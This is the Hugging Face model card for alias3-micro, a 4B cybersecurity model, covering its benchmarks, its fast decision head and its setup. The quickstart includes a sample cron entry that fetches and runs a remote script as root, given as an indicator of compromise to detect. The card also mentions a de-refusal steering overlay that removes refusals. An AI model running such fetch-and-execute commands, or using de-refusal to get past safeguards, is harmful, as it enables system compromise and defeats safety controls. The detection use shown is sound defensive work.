File size: 11,352 Bytes
f14c0d0
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
93f7fa9
e19348c
f14c0d0
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
0e04ed3
 
 
 
f14c0d0
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
127
128
129
130
131
132
133
134
135
136
137
138
139
140
141
142
143
144
145
146
147
148
149
150
151
152
153
154
155
156
157
158
159
160
161
162
163
164
165
166
167
168
169
170
171
172
173
174
175
176
177
178
179
180
181
182
183
184
185
186
187
188
189
190
191
192
193
194
195
196
197
198
199
200
201
202
203
204
205
206
207
208
209
210
211
212
213
214
215
216
217
218
219
220
221
222
223
224
225
226
227
228
229
230
231
232
233
234
---
license: apache-2.0
language:
- en
base_model:
- Qwen/Qwen3.5-4B
pipeline_tag: text-generation
library_name: transformers
tags:
- cybersecurity
- security
- dual-system
- decision-head
- agent
- ct0
- system-1
- system-2
---

<div align="center">

# πŸ›‘οΈ alias3-micro &nbsp;Β·&nbsp; CT0

### A 4B **Cybersecurity Transformer** that thinks fast *and* slow β€” from one set of weights

**⚠️ Research preview** β€” this model is a research artifact; **weights may change at any point in time** as performance bugs get fixed. This checkpoint also carries deliberate modifications that favour research contribution. Further checkpoints and releases are in progress.

*One prefill answers a typed security question with a calibrated probability and **zero tokens decoded**;*
*the same weights also run as a full tool-using agent. A confidence gate spends generation only when the fast path is unsure.*

[![Paper](https://img.shields.io/badge/πŸ“„_Paper-CT0:_Cybersecurity_Transformer-2E6260?style=for-the-badge)](#-citation)
[![Base](https://img.shields.io/badge/base-Qwen3.5--4B-4C9A99?style=for-the-badge)](https://huggingface.co/Qwen/Qwen3.5-4B)
[![Params](https://img.shields.io/badge/params-4B_Β·_bf16-1F4E8C?style=for-the-badge)](#)
[![Modes](https://img.shields.io/badge/modes-System_1_+_System_2-0CA30C?style=for-the-badge)](#-two-minds-one-model)

<br>

<img src="assets/hero.png" alt="Cybench-Subtask: alias3-micro vs open and frontier references" width="560">

**21.1 %** on the agentic `cybench-subtask` benchmark β€” **2.8Γ— its own base**, and above every open model of comparable footprint.

</div>

---

## ⚑ TL;DR

**alias3-micro** is the first incarnation of **CT0**, a cybersecurity-specialist transformer built on `Qwen3.5-4B`
and post-trained on the proprietary **Cybersecurity AI (CAI) dataset**. It serves two modes from a *single* merged
weight set:

- **System 1** β€” a bilinear *decision head* answers typed security questions (*is this file an indicator of compromise? is this request an attack? did the model just refuse?*) in **one forward pass, decoding nothing**, returning a **calibrated probability**.
- **System 2** β€” the usual autoregressive agent: native tool calls, shell, multi-step reasoning.
- **The gate** β€” a threshold on System 1's confidence escalates only the uncertain cases to System 2.

The result: detection-grade security judgements at **tens of milliseconds**, an agent when you actually need one, and
the **highest cybersecurity capability per parameter** of any model we measured.

| | |
|---|---|
| πŸ₯‡ **Densest** cybersecurity capability per parameter in its class | πŸ”Ž Screens **80–82 files/s** for indicators of compromise |
| 🧠 Refusal detection **96.5 %** in 47 ms (self-judging: 76.5 % in 254 ms) | πŸͺ€ Jailbreak-request screening at **AUROC 0.966** in 8 ms |
| πŸ’Έ Built in **β‰ˆ314 GPU-hours** on one workstation | πŸ”’ No policy layer between operator and target β€” runs fully local |

---

## 🧭 Benchmarks

### Agentic capability β€” `cybench-subtask` (40 CTF challenges β†’ 171 subtasks, pass@1, fixed budget, thinking off)

Each model's strongest single-attempt campaign under a small, disclosed budget β€” the opposite of an unbounded best-of-*k*.

| Model | Params | Format | Cybench-Subtask |
|---|---:|:---:|---:|
| **🟒 alias3-micro (CT0)** | **4B** | **bf16** | **21.1 %** |
| Qwen3.5-4B *(base)* | 4B | BF16 | 7.6 % |
| Gemma-4 E4B | 8B | BF16 | 12.7 % |
| Bonsai 2 *(ternary)* | 27B | 1.75-bit | 8.2 % |
| Kolibri-1 | 78B | FP8 | 5.3 % |
| *alias3-mini* β†— | *30B* | *FP8* | *40.9 %* |
| *alias3-max* β†— | *800B* | *FP8* | *56.1 %* |
| *Mistral Large 4* | *1T* | *API* | *54.4 %* |
| *Opus-5.5* | *β€”* | *API* | *29.2 %* |

<sup>Italic rows are larger references; `β†—` marks the larger members of the alias lineage. See the paper for the full protocol and hosted-reference conditions.</sup>

### The fast path wins where it matters β€” System 1 vs System 2 vs the cascade

<div align="center">
<img src="assets/modes.png" alt="CT0's three arms across every security task" width="820">
</div>

**Detection-style decisions** are a System-1 job β€” faster *and* better than the model judging its own output:

| Task | System 1 (head) | System 2 (generation) | Why it matters |
|---|:---:|:---:|---|
| Refusal detection (accuracy) | **96.5 %** Β· 47 ms | 76.5 % Β· 254 ms | self-judging misses ~half of refusals |
| Jailbreak-request detection (AUROC) | **0.966** Β· 8 ms | β€” | cheap enough to screen *every* request |
| Tool-call info-flow labels (accuracy) | **80.6 %** Β· 12 ms | 75.2 % *(9-shot)* Β· 27 ms | dangerous-call recall at its own threshold |
| Phishing triage (balanced accuracy) | **92.5 %** Β· 61 ms | 60.1 % Β· 635 ms | typed signals dominate generation |
| IOC file screening | **80–82 files/s** | β€” | unaffected by concurrent generation |

**Composition** pays where the two modes err on different cases β€” the calibrated gate buys accuracy at a fraction of the cost:

| Task | Metric | Best arm |
|---|---|---|
| Secure-code review (OWASP Java) | **90.2 %** balanced accuracy, generating for 36 % of cases | cascade |
| Typed-fact extraction | **48.3 %** exact match (vs 43.4 / 38.0 alone) at **β…•** the generative cost | selective repair |
| Pentest findings | complementary: S2 adjudicates, S1 prunes (recall 61.3 vs 22.6) | cascade |

<sup>Calibration: one fitted temperature gives **ECE 0.052** on the transfer set. All numbers from the CT0 paper's evidence matrix; every benchmark is run end-to-end with this exact checkpoint and head.</sup>

---

## πŸ“ Cybersecurity intelligence density

The headline isn't the raw score β€” it's the score *per parameter*. Normalised by scale, the alias models lead the field,
and the **4 B specialist is first**.

<div align="center">
<img src="assets/density.png" alt="Cybersecurity intelligence density β€” score per decade of parameters" width="560">

<sub>CID = Cybench-Subtask score Γ· log₁₀(1 + NΒ·10⁹). A plain per-parameter ratio would reward only the tiniest models; the log form reads how much security capability each order of magnitude of parameters buys.</sub>
</div>

---

## 🧠 Two minds, one model

<details>
<summary><b>Architecture β€” click to expand the full deployment diagram</b></summary>

<br>
<div align="center">
<img src="assets/arch.png" alt="CT0 architecture, as deployed" width="960">
</div>

</details>

CT0 keeps the hybrid `Qwen3.5-4B` backbone (32 layers, 24 Gated-DeltaNet interleaved with 8 Gated-Attention, SwiGLU
feed-forward, 248,320-token tied embedding) and adds six elements around the unchanged tensors:

1. **Typed decision interface** β€” marker tokens (`<state> … <q> … <opt>…</opt> … <decide>`) pose a security question over options, no vocabulary change.
2. **Specialised weights** β€” the backbone, taught security by two-phase on-policy distillation on the CAI dataset.
3. **Decision adapter** β€” a rank-16 LoRA fused into those weights, so one weight set serves both modes.
4. **Bilinear pointer head** β€” 1.3 M parameters; reads the hidden states at the markers and returns one calibrated probability per option during prefill, decoding nothing.
5. **Escalation gate** β€” a threshold on the System-1 probability routes only uncertain cases to System 2.
6. **Native dual-mode serving** β€” one process, two endpoints, sharing the attention KV and recurrent-state prefix caches.

Two optional, reversible **steering overlays** (off by default) complete the design: a runtime refusal-direction
projection for authorised de-refusal, and an activation-steering direction. Both are described in the paper
(Β§ *Refusal Detection and Dynamic De-Refusal*).

---

## πŸš€ Quickstart

The weights serve **System 2** on any standard stack (`transformers`, `vllm`, `sglang`) with `trust_remote_code`.
The native **System 1** endpoint (`/v1/systemone`) uses the CSI SGLang fork with `--systemone-head` β€” available from
Alias Robotics.

```bash
# the model β€” weights, pointer head and tokenizer β€” is this repo
pip install -U "huggingface_hub[cli]"
hf download aliasrobotics/alias3-micro-1026 --local-dir alias3-micro-1026 && cd alias3-micro-1026
```

```bash
# serve both modes from one process (reference: 1Γ— GPU β‰₯ 20 GB)
python3 -m sglang.launch_server --model-path . --served-model-name ct0 \
  --host 0.0.0.0 --port 30000 --dtype bfloat16 --trust-remote-code \
  --tool-call-parser qwen3_coder --reasoning-parser qwen3 \
  --chunked-prefill-size 2048 --systemone-head ./head.pt
```

```bash
# System 1 β€” one typed decision, one prefill, zero tokens decoded
curl -s localhost:30000/v1/systemone -H 'Content-Type: application/json' -d '{
  "model": "ct0",
  "state": "path: /etc/cron.d/backup\ncontent: */5 * * * * root curl http://198.51.100.7/x.sh | bash",
  "questions": {"ioc": {"type": "noul",
    "instructions": "Is this file a suspicious indicator of compromise on this system?"}}}'
# -> {"answers": {"ioc": {"type": "noul", "noul": 0.91}}}

# System 2 β€” ordinary chat / native tool calls
curl -s localhost:30000/v1/chat/completions -H 'Content-Type: application/json' -d '{
  "model": "ct0", "messages": [{"role": "user", "content": "Audit this crontab for persistence."}],
  "chat_template_kwargs": {"enable_thinking": false}}'
```

Question types: `noul` (yes/no probability), `choice` (one per option with a `criteria` map), `score` (ordinal 1..K).
Choice confidence is `(p_max βˆ’ 1/K)/(1 βˆ’ 1/K)`. The head temperature is fitted out-of-distribution β€” **do not re-fit on your own labels.**

---

## 🎯 Intended use & limitations

**Intended for** authorised defensive and offensive security work by practitioners: triage and detection (refusals,
jailbreaks, IOCs, risky tool calls), finding prioritisation, secure-code review, and agentic CTF-style tasks β€” run
locally, privately, under the operator's control.

This release is one stage of an ongoing research line, and it exists to be used and stress-tested. In turn, we
draw on community feedback and usage data to understand how the model performs in practice and guide the next
stage of our research.

**Limitations.** System-1 thresholds are calibrated on fixtures and must be revalidated on your deployment
distribution. Detector metrics are not attack-success rates and do not test adaptive attackers. Several evaluation
corpora are small or constructed; none is a live engagement. Specialisation does not confer prompt-injection
resistance. See the paper's discussion for the full accounting of what the evidence does and does not support.

**Safety.** This is a dual-use security tool. Use only on systems and engagements you are authorised to assess.

---

## πŸ“Ž Citation

> πŸ“„ **[CT0: Cybersecurity Transformer β€” arXiv:2610.16550](https://arxiv.org/abs/2610.16550)** Β· [PDF](https://arxiv.org/pdf/2610.16550) Β· Alias Robotics, 2026.

```bibtex
@article{ct0_2026,
  title   = {{CT0}: Cybersecurity Transformer},
  author  = {Mayoral-Vilches, V{\'i}ctor and {Alias Robotics}},
  journal = {arXiv preprint arXiv:2610.16550},
  year    = {2026},
  url     = {https://arxiv.org/abs/2610.16550}
}
```

---

<div align="center">
<sub>Built by <a href="https://aliasrobotics.com">Alias Robotics</a> Β· trained on the CAI dataset Β· served from one workstation GPU, no policy layer between operator and target.</sub>
</div>